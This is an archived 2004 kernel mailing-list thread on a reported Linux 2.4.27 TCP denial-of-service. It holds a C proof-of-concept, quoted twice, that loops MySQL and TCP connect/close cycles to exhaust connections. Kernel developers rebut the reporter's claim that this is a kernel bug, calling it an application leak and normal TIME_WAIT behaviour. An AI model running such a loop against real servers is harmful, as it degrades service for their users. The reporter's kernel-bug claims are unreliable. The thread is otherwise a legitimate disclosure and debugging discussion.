Skip to contentSkip to conversation

Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service

DISCUSSION Wolfpaw - Dale Corse 5 participants 6 messages Sep 12, 2004 – Sep 13, 2004 1 message not in the archive

lore
Share & tools
lore
#1 lore raw
In reply to a message not in the archive

Hi David,

Hmm.. I was more looking for the correct kernel developer to send it to, rather then just releasing exploit code into the wild, and having it end up a zero day hack. It was not in any way my intention to waste anyone's time. I will however, comply with your politely stated request :)

As for it being an application bug - it may be one in Mysql not closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT sockets to clog up the connection queues, and cause a DOS conditions on other applications (such as Apache). Since most software used for denial of service is badly written (intentionally) to exploit the holes, the error should be fixed, not blamed on faulty software.

That being said - below is a the proper description, and the code used to exploit it. Hope it helps. This version is not the one which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one, I am not able to publish the source code for the CLOSE_WAIT bug. The log however clearly shows that a mysql descriptor is closed, and then used immediately again by the socket call, which causes it never to end up getting closed. Linux apparently has either no timeout for CLOSE_WAIT, or it's a very very long one.. Either way is a bad thing.

D.

Description
=============
The "socket" call will reuse file descriptor before it is completely finished closing. In this case, it is Mysql (3.23.58) which doesn't appear to close them right away, and thus you end up with the result I mentioned.

Proof Of Concept Code:
======================
#include <sys/types.h>
#include <time.h>
#include <sys/stat.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include "mysql.h"

int main (int argc, char **argv)
{

char *sql_host = "127.0.0.1";
char *sql_name = "root";
char *sql_pass = "<PASS>";
char *sql_socket = NULL;
int sql_port = <PORT>;
char *c_host = "127.0.0.1";
int c_port=80;
long sock=0;
int connectresult=0;
struct sockaddr_in sockaddr;
MYSQL mysql;
MYSQL mysql2;

mysql_init(&mysql);
mysql_init(&mysql2);

if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql));
      exit(1);
    } 

printf("Mysql Socket Connected: %d\n",mysql.net.fd);

while(1)
{

/* Close the SQL connection */
mysql_close(&mysql);

mysql_init(&mysql);
if (!mysql_real_connect (&mysql, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql));
      exit(1);
    } 

printf("Mysql Socket Connected: %d\n",mysql.net.fd);

sockaddr.sin_addr.s_addr=inet_addr(c_host);
sockaddr.sin_port=htons(c_port);

  if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
    printf("socket failed.");

sockaddr.sin_family=AF_INET;

printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock); connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));

if(connectresult) {

   close(sock); 
     
     switch(errno) {
       case ECONNREFUSED: 
         printf(" CONNECTION REFUSED.\n");
         break;
       case ENETUNREACH:
         printf(" HOST UNREACHABLE.\n");
         break; 
       default: 
         printf(" FAILED: UNKNOWN ERROR");
     } 
}

else
{
printf(" Connected.\n");
}

mysql_close(&mysql2);

/* Make a Mysql Connection */ mysql_init(&mysql2);
if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql2));
      exit(1);
    } 

printf("Mysql Socket Connected: %d\n",mysql2.net.fd);

/* Close the socket connection */
printf("Closing socket #%ld",sock);
close(sock);
}

}

Quoted 39 lines

-----Original Message-----
From: David S. Miller [mailto:[email protected]]
Sent: Saturday, September 11, 2004 7:12 PM
To: [email protected]
Cc: [email protected]; [email protected]; [email protected]
Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service

Close wait means the application locally has not closed the file descriptor, yet the remote end has sent a FIN.

This is %99 of the time an application bug.

But since you haven't provided much detail of the problem nobody will ever know exactly what you're talking about.

Please, do me and everyone else here on this list a real huge favor, don't post bug reports without all the details, you're just wasting everyone's time. If it's exploitable, even more reason to post every single detail so we can work on a fix if necessary as fast as possible.

--------------------------------------------------------------
--------------
-
This message has been scanned for Spam and Viruses by ClamAV and SpamAssassin
--------------------------------------------------------------
--------------
-

#2 lore raw
Quoted 6 lines · On Sat, 11 Sep 2004 20:45:43 -0600 "Wolfpaw - Dale Corse" <[email protected]>…

As for it being an application bug - it may be one in Mysql not closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT sockets to clog up the connection queues, and cause a DOS conditions on other applications (such as Apache). Since most software used for denial of service is badly written (intentionally) to exploit the holes, the error should be fixed, not blamed on faulty software.

If the application doesn't close it's file descriptors there is absolutely nothing the kernel can do about it.

It's a resource leak, plain and simple.

Quoted 4 lines

That being said - below is a the proper description, and the code used to exploit it. Hope it helps. This version is not the one which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one, I am not able to publish the source code for the CLOSE_WAIT bug.

There is nothing wrong with creating tons of TIME_WAIT sockets, they simply time out after 60 seconds (unless hit by a RESET packet or similar). This is how TCP works.

Quoted 5 lines

The log however clearly shows that a mysql descriptor is closed, and then used immediately again by the socket call, which causes it never to end up getting closed. Linux apparently has either no timeout for CLOSE_WAIT, or it's a very very long one.. Either way is a bad thing.

Please do us all a favor and learn how TCP works.

CLOSE_WAIT means simply that only one side of the TCP connection has done a close. Therefore the other end stays open until that side closes as well.

There is no way to "time things out" or release the state.

#3 lore raw
Quoted 5 lines · David S. Miller

If the application doesn't close it's file descriptors there is absolutely nothing the kernel can do about it.

It's a resource leak, plain and simple.

Quoted 9 lines
Quoted 4 lines

That being said - below is a the proper description, and the code used to exploit it. Hope it helps. This version is not the one which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one, I am not able to publish the source code for the CLOSE_WAIT bug.

There is nothing wrong with creating tons of TIME_WAIT sockets, they simply time out after 60 seconds (unless hit by a RESET packet or similar). This is how TCP works.

Hm,

As this question arose may I ask where this timeout is configured ?

There is tcp_fin_timeout configuration but I found nothing corresponding to TIME_WAIT.

Here is how it bothers me. On the Web sites using Apache/PHP and MySQL on different hosts I often see "Sleep" connections hanging for many
minutes on MySQL hosts. Tracking remote host and port shows this
connection is not assigned to any process on other end any more but rather being in TIME_WAIT state.

I do not care about TIME_WAIT connection on client site itself, what concerns me is, until connection is not fully closed server side does not seems to be informed connection is dead and so server resources are not deallocated.

Any ideas ?

Signature · 2 lines
Peter Zaitsev, Senior Support Engineer
MySQL AB, www.mysql.com
#4 lore raw

Hi Peter,

Quoted 6 lines · Peter Zaitsev

I do not care about TIME_WAIT connection on client site itself, what concerns me is, until connection is not fully closed server side does not seems to be informed connection is dead and so server resources are not deallocated.

Any ideas ?

TIME_WAIT status does not eat much resource, since they're in a separate list. I've already had several *millions* of while stressing some equipment, and I can assure you that it's really not a problem as long as you increase your tcp_max_tw_buckets accordingly. There is even no performance impact (I could still get 40000 hits/s with this number of time-waits). As David said, the connection has been closed when it enters TIME_WAIT, so it has been detached from apache.

I think you confuse it with CLOSE_WAIT. This is a very common case on web servers when the client does not support HTTP keep-alive and does a shutdown(WRITE) after sending its request. The server receives the FIN, and passes from ESTABLISHED to CLOSE_WAIT during all the time it sends its data to the client, then closes the connection, making it TIME_WAIT.

TIME_WAIT state is more annoying on the client side (eg when your apache is a reverse proxy), because by default you can run out of source ports. But you can increase the local source port range (ip_local_port_range), decrease the FIN timeout which also happens to control TIME_WAIT timeout, and even force tcp_tw_reuse to 1 to let the system reallocate an old connection which was sitting in TIME_WAIT.

Hoping this helps,
Willy

#5 lore raw
Quoted 11 lines · Willy Tarreau

Hi Peter,

Quoted 6 lines · Peter Zaitsev

I do not care about TIME_WAIT connection on client site itself, what concerns me is, until connection is not fully closed server side does not seems to be informed connection is dead and so server resources are not deallocated.

Any ideas ?

Quoted 7 lines

TIME_WAIT status does not eat much resource, since they're in a separate list. I've already had several *millions* of while stressing some equipment, and I can assure you that it's really not a problem as long as you increase your tcp_max_tw_buckets accordingly. There is even no performance impact (I could still get 40000 hits/s with this number of time-waits). As David said, the connection has been closed when it enters TIME_WAIT, so it has been detached from apache.

Once again,

I do not care about resources on Client side (Apache/PHP). My concern is Server side (MySQL). MySQL will close connection after timeout, which is normally large (hours) to support interactive clients, or when it is
informed socket is closed. This last part is getting very delayed,
300+ seconds for some reason.

Quoted 6 lines

I think you confuse it with CLOSE_WAIT. This is a very common case on web servers when the client does not support HTTP keep-alive and does a shutdown(WRITE) after sending its request. The server receives the FIN, and passes from ESTABLISHED to CLOSE_WAIT during all the time it sends its data to the client, then closes the connection, making it TIME_WAIT.

I'm not speaking about HTTP server in this case at all but about
Apache/PHP to MySQL part only.

It is quite typical for each page load to establish connection so we can end up with pretty large number of connections.

To be honest I can't truly explain exactly when this happens - in many cases I can see connections closed on the server as soon as client closes them, in other cases they are dangling for quite a time.

Signature · 2 lines
Peter Zaitsev, Senior Support Engineer
MySQL AB, www.mysql.com
#6 lore raw
In reply to Wolfpaw - Dale Corse

others will correct me if I'm wrong, but, I beleive one can tune this with sysctl params, and lower the time limits such to minimise problems. But also, issues like this are long known, and not limited to linux nor the current stable kernel.

Thanks,

Ron DuFresne

Quoted 198 lines · Wolfpaw - Dale Corse

Hi David,

Hmm.. I was more looking for the correct kernel developer to send it to, rather then just releasing exploit code into the wild, and having it end up a zero day hack. It was not in any way my intention to waste anyone's time. I will however, comply with your politely stated request :)

As for it being an application bug - it may be one in Mysql not closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT sockets to clog up the connection queues, and cause a DOS conditions on other applications (such as Apache). Since most software used for denial of service is badly written (intentionally) to exploit the holes, the error should be fixed, not blamed on faulty software.

That being said - below is a the proper description, and the code used to exploit it. Hope it helps. This version is not the one which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one, I am not able to publish the source code for the CLOSE_WAIT bug. The log however clearly shows that a mysql descriptor is closed, and then used immediately again by the socket call, which causes it never to end up getting closed. Linux apparently has either no timeout for CLOSE_WAIT, or it's a very very long one.. Either way is a bad thing.

D.

Description
=============
The "socket" call will reuse file descriptor before it is completely finished closing. In this case, it is Mysql (3.23.58) which doesn't appear to close them right away, and thus you end up with the result I mentioned.

Proof Of Concept Code:
======================
#include <sys/types.h>
#include <time.h>
#include <sys/stat.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include "mysql.h"

int main (int argc, char **argv)
{

char *sql_host = "127.0.0.1";
char *sql_name = "root";
char *sql_pass = "<PASS>";
char *sql_socket = NULL;
int sql_port = <PORT>;
char *c_host = "127.0.0.1";
int c_port=80;
long sock=0;
int connectresult=0;
struct sockaddr_in sockaddr;
MYSQL mysql;
MYSQL mysql2;

mysql_init(&mysql);
mysql_init(&mysql2);

if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql));
      exit(1);
    }

printf("Mysql Socket Connected: %d\n",mysql.net.fd);

while(1)
{

/* Close the SQL connection */
mysql_close(&mysql);

mysql_init(&mysql);
if (!mysql_real_connect (&mysql, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql));
      exit(1);
    }

printf("Mysql Socket Connected: %d\n",mysql.net.fd);

sockaddr.sin_addr.s_addr=inet_addr(c_host);
sockaddr.sin_port=htons(c_port);

  if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
    printf("socket failed.");

sockaddr.sin_family=AF_INET;

printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock); connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));

if(connectresult) {
   close(sock);

     switch(errno) {
       case ECONNREFUSED:
         printf(" CONNECTION REFUSED.\n");
         break;
       case ENETUNREACH:
         printf(" HOST UNREACHABLE.\n");
         break;
       default:
         printf(" FAILED: UNKNOWN ERROR");
     }
}

else
{
printf(" Connected.\n");
}

mysql_close(&mysql2);

/* Make a Mysql Connection */ mysql_init(&mysql2);
if (!mysql_real_connect (&mysql2, sql_host, sql_name, sql_pass,NULL,sql_port,sql_socket,0))

    {
      printf ("SQL-ERROR connecting to database: %s",
               mysql_error (&mysql2));
      exit(1);
    }

printf("Mysql Socket Connected: %d\n",mysql2.net.fd);

/* Close the socket connection */
printf("Closing socket #%ld",sock);
close(sock);
}

}

Quoted 39 lines

-----Original Message-----
From: David S. Miller [mailto:[email protected]]
Sent: Saturday, September 11, 2004 7:12 PM
To: [email protected]
Cc: [email protected]; [email protected]; [email protected]
Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of Service

Close wait means the application locally has not closed the file descriptor, yet the remote end has sent a FIN.

This is %99 of the time an application bug.

But since you haven't provided much detail of the problem nobody will ever know exactly what you're talking about.

Please, do me and everyone else here on this list a real huge favor, don't post bug reports without all the details, you're just wasting everyone's time. If it's exploitable, even more reason to post every single detail so we can work on a fix if necessary as fast as possible.

--------------------------------------------------------------
--------------
-
This message has been scanned for Spam and Viruses by ClamAV and SpamAssassin
--------------------------------------------------------------
--------------
-

Signature · 7 lines
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
	***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.